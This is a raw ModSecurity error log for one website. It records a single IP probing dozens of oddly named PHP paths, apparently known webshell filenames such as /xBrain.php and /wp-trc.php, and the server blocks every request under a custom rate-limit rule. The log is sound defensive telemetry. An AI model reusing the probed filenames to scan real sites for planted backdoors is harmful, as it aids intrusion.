[Mon Apr 13 03:12:32.242979 2026] [:error] [pid 32010:tid 32024] [client 20.151.218.28:24360] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sale.php"] [unique_id "advuoA0nq-t9pXyV1fy-tgAAAMw"]
[Mon Apr 13 03:12:33.125472 2026] [:error] [pid 54671:tid 54691] [client 20.151.218.28:24376] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sale.php"] [unique_id "advuoWyJMmaONUqF0tCrvgAAARA"]
[Mon Apr 13 03:12:33.962766 2026] [:error] [pid 54671:tid 54687] [client 20.151.218.28:24517] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sale.php"] [unique_id "advuoWyJMmaONUqF0tCrxAAAAQw"]
[Mon Apr 13 03:12:34.743353 2026] [:error] [pid 54671:tid 54698] [client 20.151.218.28:24372] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sale.php"] [unique_id "advuomyJMmaONUqF0tCryQAAARc"]
[Mon Apr 13 03:12:35.274133 2026] [:error] [pid 54671:tid 54697] [client 20.151.218.28:24433] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ran.php"] [unique_id "advuo2yJMmaONUqF0tCrzgAAARY"]
[Mon Apr 13 03:12:35.695087 2026] [:error] [pid 31605:tid 31662] [client 20.151.218.28:24380] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ran.php"] [unique_id "advuo29Py-Y-9VQ02eHfDgAAABM"]
[Mon Apr 13 03:12:36.121114 2026] [:error] [pid 31605:tid 31652] [client 20.151.218.28:24425] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ran.php"] [unique_id "advupG9Py-Y-9VQ02eHfEAAAAAk"]
[Mon Apr 13 03:12:36.602186 2026] [:error] [pid 31605:tid 31643] [client 20.151.218.28:24384] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ran.php"] [unique_id "advupG9Py-Y-9VQ02eHfEwAAAAA"]
[Mon Apr 13 03:12:37.025020 2026] [:error] [pid 54671:tid 54675] [client 20.151.218.28:24348] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/k90.php"] [unique_id "advupWyJMmaONUqF0tCr0gAAAQA"]
[Mon Apr 13 03:12:37.533116 2026] [:error] [pid 32010:tid 32025] [client 20.151.218.28:24271] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/k90.php"] [unique_id "advupQ0nq-t9pXyV1fy-xwAAAM0"]
[Mon Apr 13 03:12:38.083092 2026] [:error] [pid 31606:tid 31724] [client 20.151.218.28:24269] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/k90.php"] [unique_id "advupj9vCsshNhLmCiCOdgAAAFI"]
[Mon Apr 13 03:12:38.556996 2026] [:error] [pid 54671:tid 54689] [client 20.151.218.28:24276] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/k90.php"] [unique_id "advupmyJMmaONUqF0tCr1QAAAQ4"]
[Mon Apr 13 03:12:39.004883 2026] [:error] [pid 54671:tid 54683] [client 20.151.218.28:24320] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/taff.php"] [unique_id "advup2yJMmaONUqF0tCr1wAAAQg"]
[Mon Apr 13 03:12:39.431292 2026] [:error] [pid 31606:tid 31729] [client 20.151.218.28:24522] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/taff.php"] [unique_id "advupz9vCsshNhLmCiCOegAAAFc"]
[Mon Apr 13 03:12:39.864471 2026] [:error] [pid 31606:tid 31706] [client 20.151.218.28:24335] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/taff.php"] [unique_id "advupz9vCsshNhLmCiCOewAAAEA"]
[Mon Apr 13 03:12:40.312193 2026] [:error] [pid 31605:tid 31648] [client 20.151.218.28:24383] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/taff.php"] [unique_id "advuqG9Py-Y-9VQ02eHfGAAAAAU"]
[Mon Apr 13 03:12:40.730131 2026] [:error] [pid 31605:tid 31649] [client 20.151.218.28:24410] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/set.php"] [unique_id "advuqG9Py-Y-9VQ02eHfGQAAAAY"]
[Mon Apr 13 03:12:41.236871 2026] [:error] [pid 31605:tid 31665] [client 20.151.218.28:24277] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/set.php"] [unique_id "advuqW9Py-Y-9VQ02eHfHAAAABY"]
[Mon Apr 13 03:12:41.693959 2026] [:error] [pid 32010:tid 32034] [client 20.151.218.28:24432] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/set.php"] [unique_id "advuqQ0nq-t9pXyV1fy-zwAAANY"]
[Mon Apr 13 03:12:42.230183 2026] [:error] [pid 32010:tid 32023] [client 20.151.218.28:24262] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/set.php"] [unique_id "advuqg0nq-t9pXyV1fy-0QAAAMs"]
[Mon Apr 13 03:12:42.675527 2026] [:error] [pid 31605:tid 31650] [client 20.151.218.28:24221] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/133.php"] [unique_id "advuqm9Py-Y-9VQ02eHfHgAAAAc"]
[Mon Apr 13 03:12:43.087553 2026] [:error] [pid 54671:tid 54684] [client 20.151.218.28:24361] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/133.php"] [unique_id "advuq2yJMmaONUqF0tCr3gAAAQk"]
[Mon Apr 13 03:12:43.499727 2026] [:error] [pid 54671:tid 54675] [client 20.151.218.28:24430] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/133.php"] [unique_id "advuq2yJMmaONUqF0tCr3wAAAQA"]
[Mon Apr 13 03:12:43.919401 2026] [:error] [pid 31607:tid 31758] [client 20.151.218.28:24353] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/133.php"] [unique_id "advuq2jn_I-KYTWngjJOTAAAAJU"]
[Mon Apr 13 03:12:44.336195 2026] [:error] [pid 54671:tid 54686] [client 20.151.218.28:24537] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ssxsl.php"] [unique_id "advurGyJMmaONUqF0tCr4gAAAQs"]
[Mon Apr 13 03:12:44.883367 2026] [:error] [pid 54671:tid 54683] [client 20.151.218.28:24319] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ssxsl.php"] [unique_id "advurGyJMmaONUqF0tCr5gAAAQg"]
[Mon Apr 13 03:12:45.348755 2026] [:error] [pid 31607:tid 31754] [client 20.151.218.28:24307] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ssxsl.php"] [unique_id "advurWjn_I-KYTWngjJOTQAAAJE"]
[Mon Apr 13 03:12:45.848439 2026] [:error] [pid 54671:tid 54682] [client 20.151.218.28:24143] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ssxsl.php"] [unique_id "advurWyJMmaONUqF0tCr7AAAAQc"]
[Mon Apr 13 03:12:46.269384 2026] [:error] [pid 31607:tid 31743] [client 20.151.218.28:24337] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/AE5VAL.php"] [unique_id "advurmjn_I-KYTWngjJOVAAAAIY"]
[Mon Apr 13 03:12:46.759750 2026] [:error] [pid 32010:tid 32024] [client 20.151.218.28:24421] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/AE5VAL.php"] [unique_id "advurg0nq-t9pXyV1fy-2AAAAMw"]
[Mon Apr 13 03:12:47.179450 2026] [:error] [pid 31605:tid 31650] [client 20.151.218.28:24375] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/AE5VAL.php"] [unique_id "advur29Py-Y-9VQ02eHfKAAAAAc"]
[Mon Apr 13 03:12:47.704835 2026] [:error] [pid 54671:tid 54687] [client 20.151.218.28:24370] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/AE5VAL.php"] [unique_id "advur2yJMmaONUqF0tCr8QAAAQw"]
[Mon Apr 13 03:12:48.190953 2026] [:error] [pid 31607:tid 31742] [client 20.151.218.28:24291] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gold.php"] [unique_id "advusGjn_I-KYTWngjJOVQAAAIU"]
[Mon Apr 13 03:12:48.696663 2026] [:error] [pid 31607:tid 31750] [client 20.151.218.28:24334] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gold.php"] [unique_id "advusGjn_I-KYTWngjJOWAAAAI0"]
[Mon Apr 13 03:12:49.134324 2026] [:error] [pid 32010:tid 32034] [client 20.151.218.28:24439] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gold.php"] [unique_id "advusQ0nq-t9pXyV1fy-2gAAANY"]
[Mon Apr 13 03:12:49.952804 2026] [:error] [pid 54671:tid 54696] [client 20.151.218.28:24266] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gold.php"] [unique_id "advusWyJMmaONUqF0tCr9wAAARU"]
[Mon Apr 13 03:12:50.483655 2026] [:error] [pid 31607:tid 31751] [client 20.151.218.28:24232] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gely.php"] [unique_id "advusmjn_I-KYTWngjJOXAAAAI4"]
[Mon Apr 13 03:12:51.025772 2026] [:error] [pid 31607:tid 31757] [client 20.151.218.28:24268] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gely.php"] [unique_id "advus2jn_I-KYTWngjJOXgAAAJQ"]
[Mon Apr 13 03:12:51.516674 2026] [:error] [pid 32010:tid 32013] [client 20.151.218.28:24311] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gely.php"] [unique_id "advusw0nq-t9pXyV1fy-3wAAAME"]
[Mon Apr 13 03:12:52.038822 2026] [:error] [pid 32010:tid 32017] [client 20.151.218.28:24301] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gely.php"] [unique_id "advutA0nq-t9pXyV1fy-4gAAAMU"]
[Mon Apr 13 03:12:52.512321 2026] [:error] [pid 32010:tid 32035] [client 20.151.218.28:24264] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xBrain.php"] [unique_id "advutA0nq-t9pXyV1fy-5gAAANc"]
[Mon Apr 13 03:12:52.953353 2026] [:error] [pid 31607:tid 31756] [client 20.151.218.28:24279] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xBrain.php"] [unique_id "advutGjn_I-KYTWngjJOYwAAAJM"]
[Mon Apr 13 03:12:53.443685 2026] [:error] [pid 31605:tid 31659] [client 20.151.218.28:24378] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xBrain.php"] [unique_id "advutW9Py-Y-9VQ02eHfNQAAABA"]
[Mon Apr 13 03:12:53.893542 2026] [:error] [pid 31607:tid 31760] [client 20.151.218.28:24382] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xBrain.php"] [unique_id "advutWjn_I-KYTWngjJOZQAAAJc"]
[Mon Apr 13 03:12:54.429804 2026] [:error] [pid 31605:tid 31660] [client 20.151.218.28:24354] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sagafif.php"] [unique_id "advutm9Py-Y-9VQ02eHfOwAAABE"]
[Mon Apr 13 03:12:54.914576 2026] [:error] [pid 54671:tid 54678] [client 20.151.218.28:24531] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sagafif.php"] [unique_id "advutmyJMmaONUqF0tCsBAAAAQM"]
[Mon Apr 13 03:12:55.347408 2026] [:error] [pid 32010:tid 32031] [client 20.151.218.28:24267] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sagafif.php"] [unique_id "advutw0nq-t9pXyV1fy-7QAAANM"]
[Mon Apr 13 03:12:55.801883 2026] [:error] [pid 54671:tid 54675] [client 20.151.218.28:24282] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sagafif.php"] [unique_id "advut2yJMmaONUqF0tCsCgAAAQA"]
[Mon Apr 13 03:12:56.254629 2026] [:error] [pid 32010:tid 32013] [client 20.151.218.28:24284] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-trc.php"] [unique_id "advuuA0nq-t9pXyV1fy-7gAAAME"]
[Mon Apr 13 03:12:56.684012 2026] [:error] [pid 31605:tid 31655] [client 20.151.218.28:24285] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-trc.php"] [unique_id "advuuG9Py-Y-9VQ02eHfQwAAAAw"]
[Mon Apr 13 03:12:57.141908 2026] [:error] [pid 54671:tid 54694] [client 20.151.218.28:24206] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-trc.php"] [unique_id "advuuWyJMmaONUqF0tCsDgAAARM"]
[Mon Apr 13 03:12:57.597839 2026] [:error] [pid 32010:tid 32027] [client 20.151.218.28:24201] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-trc.php"] [unique_id "advuuQ0nq-t9pXyV1fy-8wAAAM8"]
[Mon Apr 13 03:12:58.056545 2026] [:error] [pid 54671:tid 54678] [client 20.151.218.28:24355] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tesla1.php"] [unique_id "advuumyJMmaONUqF0tCsEgAAAQM"]
[Mon Apr 13 03:12:58.468663 2026] [:error] [pid 32010:tid 32034] [client 20.151.218.28:24247] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tesla1.php"] [unique_id "advuug0nq-t9pXyV1fy-9wAAANY"]
[Mon Apr 13 03:12:58.893995 2026] [:error] [pid 32010:tid 32014] [client 20.151.218.28:24447] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tesla1.php"] [unique_id "advuug0nq-t9pXyV1fy--QAAAMI"]
[Mon Apr 13 03:12:59.327790 2026] [:error] [pid 31605:tid 31658] [client 20.151.218.28:24203] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tesla1.php"] [unique_id "advuu29Py-Y-9VQ02eHfSQAAAA8"]
